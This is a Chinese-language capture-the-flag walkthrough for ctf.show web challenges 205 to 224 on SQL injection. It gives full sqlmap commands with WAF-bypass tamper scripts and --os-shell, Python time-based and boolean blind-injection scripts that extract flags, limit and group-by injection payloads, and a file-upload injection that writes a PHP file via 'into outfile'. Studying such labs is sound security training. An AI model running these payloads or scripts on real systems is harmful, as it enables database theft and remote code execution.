1 2 plaintext python3 sqlmap.py -u http://62ab32f3-d46b-4b44 -a4b8-fea51589800d.challenge.ctf.show /api/index.php --method ="put" --data="id=1" --user-agent sqlmap --referer ctf.show -headers="content-type:text/plain" --cookie="PHPSESSID=je3ssbqgn68psi3q1qa6fjcmbc;ctfshow=cc417a7da6909d583d4e0846fd9d4c5f" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump
sqlmap 将使用这个 Cookie 进行请求。
web205 #–safe安全设置
抓包发现在请求index.php之前还会请求一次getToken.php
所以我们–safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 –safe-preq=1 表示访问 api/getToken.php 一次
1 2 3 4 5 6 7 8 plaintext --safe-url =SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下--safe-post =SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。--safe-req =SAFER.. 从文件中加载安全HTTP请求--safe-freq =SAFE.. 测试一个给定安全网址的两个访问请求
--safe-url=SAFEURL 参数用于指定一个安全的 URL
主要功能
安全性 :通过指定一个安全 URL,用户可以确保在测试期间,sqlmap 不会对敏感或关键的生产环境数据进行操作。
蜜罐检测 :如果 sqlmap 发现某个请求被认为是危险的,它会将该请求重定向到用户指定的安全 URL,而不是执行原来的操作。这有助于减少对目标系统的风险。
调试和验证 :在进行渗透测试时,使用安全 URL 可以帮助测试人员验证他们的请求是否正常工作,而不会对目标系统造成影响。
--safe-freq=SAFE 是 sqlmap 中的一个参数,用于设置安全请求的频率限制。这个参数主要用于控制 sqlmap 在执行 SQL 注入测试时发送请求的速率
主要功能
频率控制 :通过设置请求的频率,用户可以控制 sqlmap 每秒发送的请求数量。这有助于在进行渗透测试时,减少对目标服务的压力。
规避检测 :调低请求频率可以帮助测试者更好地规避目标网站的安全检测机制,降低被识别为攻击行为的风险。
保护目标 :对目标系统友好的测试可以减少对系统性能的影响,特别是在生产环境中进行渗透测试时,确保不会干扰正常用户的使用。
payload
1 2 plaintext python3 sqlmap.py -u http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method= "put" --data= "id=1" --headers= "content-type:text/plain" --cookie= "PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url= "http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump
web206 #注入payload闭合
这里看到sql语句发生了变化,出现了括号,不过sqlmap能自动进行闭合操作
那payload 是不变的
1 2 plaintext python3 sqlmap.py -u https://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method= "put" --data= "id=1" --headers= "content-type:text/plain" --cookie= "PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url= "http://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump
需要设置参数的话可以设置参数
1 2 3 plaintext --prefix =PREFIX 注入payload字符串前缀--suffix =SUFFIX 注入payload字符串后缀
web207 #space2comment.py绕过空格
tamper的话就是sqlmap自带的绕过脚本,在sqlmap目录下的tamper文件夹中
可以使用--identify-waf对一些网站是否有安全防护进行试探,那我们返回来看题目,题目中是过滤了空格的,那我们看看那个脚本可以绕过空格绕过
space2comment.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal
该脚本的主要作用是将 SQL 查询中的空格替换为 SQL 注释
这里可以看到会用/**/去替代我们的空格
那我们就用这个去打就能绕过空格了
1 2 plaintext python3 sqlmap.py -u http://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/index.php --method= "PUT" --user-agent sqlmap --referer ctf.show --data= "id=1" --cookie= "PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers= "Content-Type:text/plain" --safe-url=http ://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment .py
常用的tamper脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 plaintext base64encode.py:对 payload 进行 Base64 编码。可以帮助绕过某些过滤器。 randomcase.py:将 SQL 注入 payload 中的字母随机大小写混合,有助于绕过一些简单的大小写敏感过滤。 space2comment.py:将空格替换为 SQL 注释符号(如 ),可用于绕过某些基于空格的过滤。 between .py:将 = 替换为 BETWEEN ,在某些情况下可以绕过过滤。time2sleep.py:使用 SLEEP 函数替代时间延迟的方式。这可以在时间盲注中有效。 unionalltoupdate.py:将 UNION ALL 替换为 UPDATE ,有时可以避开某些检测。 modsecurityversioned.py:用于与 ModSecurity 一起工作,向请求中添加特定的版本信息。 concat.py:将 SQL 查询中的字符串拼接符 || 转换为 + 或 .,以适应不同数据库的语法。 char2hex.py:将字符转换为十六进制表示形式,有助于绕过某些字符过滤。
web208 #randomcase.py绕过关键字
这里对select和空格都进行了过滤,那就还得用别的脚本了,这里我们用randomcase.py
randomcase.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 python !/usr/bin /env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ import refrom lib.core.common import randomRangefrom lib.core.compat import xrangefrom lib.core.data import kbfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> import random >>> random.seed(0) >>> tamper('INSERT') 'InSeRt' >>> tamper('f()') 'f()' >>> tamper('function()') 'FuNcTiOn()' >>> tamper('SELECT id FROM `user`') 'SeLeCt id FrOm `user`' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]{2,}\b" , retVal): word = match .group() if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None ) or ("%s(" % word) in payload: while True : _ = "" for i in xrange(len (word)): _ += word[i].upper() if randomRange(0 , 1 ) else word[i].lower() if len (_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) return retVal
该脚本的作用是将 SQL 注入 payload 中的字母随机大小写混合,有助于绕过一些简单的大小写敏感过滤。
payload
1 2 plaintext python3 sqlmap.py -u http://de1a8bb8-85b2 -42dc-89f8-8e2290303ac7.challenge.ctf.show /api/index.php --method ="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=h4dcnkdl0hd2on1l3p6gnhlefb;" --headers="Content-Type:text/plain" --safe-url=https://de1a8bb8-85b2 -42dc-89f8-8e2290303ac7.challenge.ctf.show /api/getToken.php --safe-freq=1 --tamper=space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump
web209 #绕过/*/空格/=/的tamper
好像过滤更多字符了,*号也被过滤了,那我们的space2comment.py脚本用不了了,但是我们可以自己写个tamper脚本,把原先的space2comment.py里面的替换字符串换成可以绕过空格验证的,然后再加上绕过=等于号的条件就可以了
修改后的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr (0x0a ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == '=' : retVal += chr (0x0a )+'like' +chr (0x0a ) continue elif payload[i] == '*' : retVal += chr (0x0a ) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr (0x0a ) continue retVal += payload[i] return retVal
payload
1 2 plaintext python3 sqlmap.py -u http://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/index.php --method= "PUT" --user-agent sqlmap --referer ctf.show --data= "id=1" --cookie= "PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers= "Content-Type:text/plain" --safe-url=http ://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=tamper/web209 .py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump
web210 #反转+base64编码的tamper
照着waf去写tamper就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal=retVal.encode() retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) return retVal.decode()
那我们的payload就是
1 2 plaintext python3 sqlmap.py -u http://057ed506-470f-4399-877a-5a8c3b55f2ab.challenge.ctf.show/api/index.php --method= "PUT" --user-agent sqlmap --referer ctf.show --data= "id=1" --cookie= "PHPSESSID=eioqv5apahcu216l07msg1bmvo;" --headers= "Content-Type:text/plain" --safe-url=http ://057ed506-470f-4399-877a-5a8c3b55f2ab.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=web210 .py --batch -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump
web211 #反转+base64编码+绕过空格
没啥难度,要啥就写啥
1 2 plaintext python3 sqlmap.py -u http://9bb4866c-81b4 -470f-a589-7d96100eef9c.challenge.ctf.show /api/index.php --method ="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=0kfnfjjphjp8ut8lnqv0scscq6;" --headers="Content-Type:text/plain" --safe-url=http://9bb4866c-81b4 -470f-a589-7d96100eef9c.challenge.ctf.show /api/getToken.php --safe-freq=1 --tamper=web211.py
tamper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] if payload: retVal=retVal.encode() retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) return retVal.decode()
web212 #211plus版tamper
就是前几个脚本waf的集合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr (0x0a ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == '*' : retVal += chr (0x0a ) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr (0x0a ) continue retVal += payload[i] if payload: retVal=retVal.encode() retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) retVal=retVal[::-1 ] retVal=base64.b64encode(retVal) return retVal.decode()
payload
1 2 plaintext python3 sqlmap.py -u http://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/api/index.php --method= "PUT" --data= "id=1" --user-agent=sqlmap --referer= "http://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/sqlmap.php" --cookie= "PHPSESSID=urnvf6582lubt0pjrr5sk518q2;" --header= "Content-Type:text/plain" --safe-url=https ://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=web212 .py --batch -D ctfshow_web -T ctfshow_flavis --dump
web213
考的是用–os-shell参数去getshell
os-shell的使用条件 (1)网站必须是root权限 (2)攻击者需要知道网站的绝对路径 (3)GPC为off,php主动转义的功能关闭
payload
1 2 plaintext python3 sqlmap.py -u "https://a58afa16-b03f-4cca-869b-640aca35b94d.challenge.ctf.show/api/index.php" --safe-url ="https://a58afa16-b03f-4cca-869b-640aca35b94d.challenge.ctf.show/api/getToken.php" --safe-freq =1 --method =PUT --data "id=1" --header =Content-Type:text/plain --user-agent =sqlmap --cookie ="PHPSESSID=u1193e84h0fp64kqv00rd6ubt5" --tamper =web212.py --referer =ctf.show --os-shell
选择服务器类型
ASP (Active Server Pages) : 一种由微软开发的服务器端脚本技术,允许开发者在网页中嵌入 VBScript 或 JScript 代码。
ASPX : 是 ASP.NET 的页面文件扩展名,ASP.NET 是微软的一个Web开发框架,支持多种编程语言(如 C# 和 VB.NET ),用于创建动态网页和Web应用程序。
JSP (JavaServer Pages) : 一个由 Java 提供支持的技术,允许在 HTML 页面中嵌入 Java 代码,以生成动态内容。
PHP : 一种广泛使用的开源脚本语言,主要用于Web开发,允许开发者将代码嵌入到HTML中。它是您提到的默认语言。
时间盲注 web214 没找到参数,我记得之前有一个工具是可以探测参数的
Arjun
也可以在index下的select.js中看到参数
这里debug得设为1才能出现回显
ip是查询语句中的参数,看一下延迟时间
1 ip =1 or sleep(2)#&debug =1
大概两秒左右,那其实是差不多,写脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeurl = "http://03356e28-c215-4129-97db-2f9864c35ca2.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail : mid = (head + tail) // 2 payload = "if(ascii(substr((select flaga from ctfshow_flagx),{0},1))>{1},sleep(4),1)#" .format (i, mid) data = { "ip" : payload, "debug" : 1 , } print (data) start_time = time.time() r = requests.post(url, data=data) request_time = time.time() - start_time if request_time > 3 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
web215 这次是字符型,用了单引号,去闭合就行了
1 ip =1' or sleep(2)#&debug =1
然后写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeurl = "http://9a7beb5f-6196-4c37-ae56-b0bf74a95924.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"' or if(ascii(substr((select flagaa from ctfshow_flagxc),{i} ,1))>{mid} ,sleep(3),0)#" data = { "ip" : payload, "debug" : 1 } start_time = time.time() r = requests.post(url, data=data) end_time = time.time() - start_time if end_time > 2.5 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
web216 1 select id from ctfshow_info where ip = from_base64(1 );
还是一样,闭合就行了
1 ip =1) or sleep(3)#&debug =1
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeurl = "http://c3d07a22-e8ee-4b69-9fe0-2b5900d6720e.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"' or if(ascii(substr((select flagaac from ctfshow_flagxcc),{i} ,1))>{mid} ,sleep(3),0)#" data = { "ip" : payload, "debug" : 1 } start_time = time.time() r = requests.post(url, data=data) end_time = time.time() - start_time if end_time > 2.5 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
web217 过滤了sleep函数,可以用benchmark函数去绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport timeurl = "http://c9b5a9bb-df7d-4de0-9eed-7f5dff7b66d0.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"1)or if(ascii(substr((select flagaabc from ctfshow_flagxccb),{i} ,1))>{mid} ,benchmark(100000000, MD5('test')),0)#" data = { "ip" : payload, "debug" : 1 } print (data) start_time = time.time() r = requests.post(url, data=data) end_time = time.time() - start_time if end_time > 2.5 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
不得不说这个时间确实不太稳定,后面爆数据的时候把benchmark的次数改了很多次
web218
查询语句变了,参数是id,这次sleep和benchmark函数都被禁用了,但是这里的话输入点还是和之前是一样的
1 select id from ctfshow_info where ip = (1 );
这里的话可以用笛卡尔积去做
那就测一下延迟吧
不得不说这个测的真挺麻烦的,每次要么太少要么太多
如果是用columns的话两个太少三个太多,最后还是决定用三个tables的
1 ip=1) or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)%23&debug=1
那就写脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeurl = "http://e37fb63a-1945-44db-9885-cfa468e30d51.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"1) or if(ascii(substr((select flagaac from ctfshow_flagxc),{i} ,1))>{mid} ,(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#" data = { "ip" : payload, "debug" : 1 , } print (payload) start = time.time() r = requests.post(url, data=data) end = time.time() - start if end > 1 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
回来做一下rlike的做法,常规测延迟
1 ip=1 ) or if (ascii(substr(database (),1 ,1 ))>0 ,(select concat(rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' ),rpad(1 ,999999 ,'a' )) RLIKE concat(repeat('(a.*)+' ,7 ),'b' )),0 )#&debug =1
测了大半天才测出来,延迟大概4s左右,照着改脚本就行
web219 才发现上把预期是用rlike去打盲注的,那又得返回去做一下,既然这样的话那这道题就是用笛卡尔积去做的
1 ip= 1 )+or +if(ascii(substr(database()%2 c 1 %2 c 1 ))%3 e0 %2 c (SELECT+count(*)+FROM+information_schema.tables+A%2 c +information_schema.tables+B%2 c +information_schema.schemata+D%2 c +information_schema.schemata+E%2 c +information_schema.schemata+F%2 cinformation_schema.schemata+G)%2 c 0 )%23 &debug= 1
这里的话刚好延迟是3-4s左右
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeurl = "http://91f68e53-629c-42c8-9ba1-dc0fa6092341.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"1) or if(ascii(substr((select flagaabc from ctfshow_flagxca),{i} ,1))>{mid} ,(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" data = { "ip" : payload, "debug" : 1 , } start = time.time() r = requests.post(url, data=data) end = time.time() - start if end > 2.5 : head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
web220 1 2 3 4 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark |rlike |ascii |hex |concat_ws |concat |mid |substr /i',$str); }
这里过滤还是挺多的,但是之前也学过绕过的方法了
字符集遍历绕过ascii就行,left+like绕过substr和mid,然后盲注的话用笛卡尔就行
试着写一下payload
1 ip=1 ) or if (left(database (),{i})= \"{flag+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0 )#&debug =1
大概延迟6-7秒左右,不管了,慢点就慢点吧
但是发现这几个切片函数都不能和group_concat共用,用limit语句限制一下输出吧
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport timeurl = "http://fcd017bc-038f-40e2-9f43-f2055436b4d9.challenge.ctf.show/api/" strings="_-{}abcdefghijklmnopqrstuvwxyz0123456789" target = "" for i in range (1 ,100 ): found = 0 for j in strings: payload = f"1) or if(left((select flagaabcc from ctfshow_flagxcac limit 0,1),{i} )= \"{target+j} \",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#" data = { "ip" : payload, "debug" : 1 , } start = time.time() r = requests.post(url, data=data) end = time.time() - start if end >= 4 : found = 1 target += j print (target) break if not found: print (target) exit()
其他注入 limit注入 web221 查询语句
1 2 3 //分页查询 $sql = select * from ctfshow_user limit ($page -1)*$limit ,$limit ;
返回逻辑
这里的话就是limit注入了,这里有两个参数$page和$limit,测试一下
1 2 3 ?page=1 &limit=1 procedure analyse (extractvalue(rand() ,concat (0x7e,version() )),1) 回显
拿数据库
1 2 3 ?page=1 &limit=1 procedure analyse (extractvalue(rand() ,concat (0x7e,database() )),1) 回显
数据库名字就是flag
group注入 web222 查询语句
1 2 3 $sql = select * from ctfshow_user group by $username;
返回逻辑
group注入有两种,报错和延迟,这里的话没回显,直接打延迟,参数是u
1 /api/?u=if (ascii(substr(database (),1 ,1 ))>0 ,sleep(1 ),1 )if (ascii(substr(database (),1 ,1 ))>0 ,sleep(1 ),1 )
发现一共延迟了21s左右,估计有21条数据,我们用sleep(0.2)吧
写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl = "http://ebfe1f77-39ae-4732-9e96-edfeb30a0bf9.challenge.ctf.show/api/" i = 0 target = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"?u=if(ascii(substr((select flagaabc from ctfshow_flaga),{i} ,1))>{mid} ,sleep(0.2),1)" start = time.time() r = requests.get(url + payload) end = time.time() - start if end > 3 : head = mid + 1 else : tail = mid if head != 32 : target += chr (head) print (target) else : break print (target)
web223 这道题是过滤了数字的,用true去构造就行,但是这里sleep(true)的话又得跑好久,所以直接打布尔盲注
1 ?u=if (ascii(substr((select database ()),{real_i},true ))>{real_mid},username,false )
语句正确的回显
1 2 3 ? u= if (ascii(substr((select%20 database()),true ,true ))> false ,username,false )返回 {"code" :0 ,"msg" :"\u 67e5\u 8be2\u 6210\u 529f" ,"count" :1 ,"data" :[{"id" :"1" ,"username" :"ctfshow" ,"pass" :"ctfshow" },{"id" :"2" ,"username" :"user1" ,"pass" :"111" },{"id" :"3" ,"username" :"user2" ,"pass" :"222" },{"id" :"4" ,"username" :"userAUTO" ,"pass" :"passwordAUTO" }]}
语句错误的回显
1 2 3 ? u= if (ascii(substr((select%20 database()),true ,true ))< false ,username,false )返回 {"code" :0 ,"msg" :"\u 67e5\u 8be2\u 6210\u 529f" ,"count" :1 ,"data" :[{"id" :"1" ,"username" :"ctfshow" ,"pass" :"ctfshow" }]}
然后写脚本就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsurl = "http://1207941e-aa7a-4183-86da-2417300bb4e0.challenge.ctf.show/api/" i = 0 target = "" def createNum (n ): num = 'true' if n == 1 : return 'true' else : for i in range (n - 1 ): num += "+true" return num while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 real_mid = createNum(mid) real_i = createNum(i) payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{real_i} ,true))>{real_mid} ,username,false)" params={"u" :payload} r=requests.get(url,params=params) if "passwordAUTO" in r.text: head = mid + 1 else : tail = mid if head != 32 : target += chr (head) print (target) else : break print (target)
web224 一个登录界面
扫目录扫出来一个robots.txt文件,访问拿到/pwdreset.php,重置一下密码然后登录就行,然后就是文件上传
fuzz一下一直没fuzz出来具体的绕过
看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。
然后我们新建一个txt文件,写入
1 C64File "');select 0x3c3f3d20706870696e666f28293b3f3e into outfile '/var/www/html/test.php' ;--+
这里的话0x3c3f3d20706870696e666f28293b3f3e是<?= phpinfo();?>的十六进制
C64File 是与 Commodore 64 相关的文件类型,前边的C64File是为了绕过类型检测,之后闭合,写入 sql 语句,进行测试一下
访问filelist.php发现这里会对我们传入的文件进行重命名
访问我们刚刚传入的文件
成功执行,然后我们进行ls
想看一下check的机制是什么样的,读取upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );if ($_FILES ["file" ]["error" ] > 0 ) { die ("Return Code: " . $_FILES ["file" ]["error" ] . "<br />" ); } if ($_FILES ["file" ]["size" ] > 10 * 1024 ) { die ("文件过大: " . ($_FILES ["file" ]["size" ] / 1024 ) . " Kb<br />" ); } if (file_exists ("upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " already exists. " ; } else { $filename = md5 (md5 (rand (1 , 10000 ))) . ".zip" ; $filetype = (new finfo)->file ($_FILES ['file' ]['tmp_name' ]); if (preg_match ("/image|png|bmap|jpg|jpeg|application|text|audio|video/i" , $filetype )) { die ("file type error" ); } $filepath = "upload/" . $filename ; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" . $filename . "','" . $filepath . "','" . $filetype . "');" ; move_uploaded_file 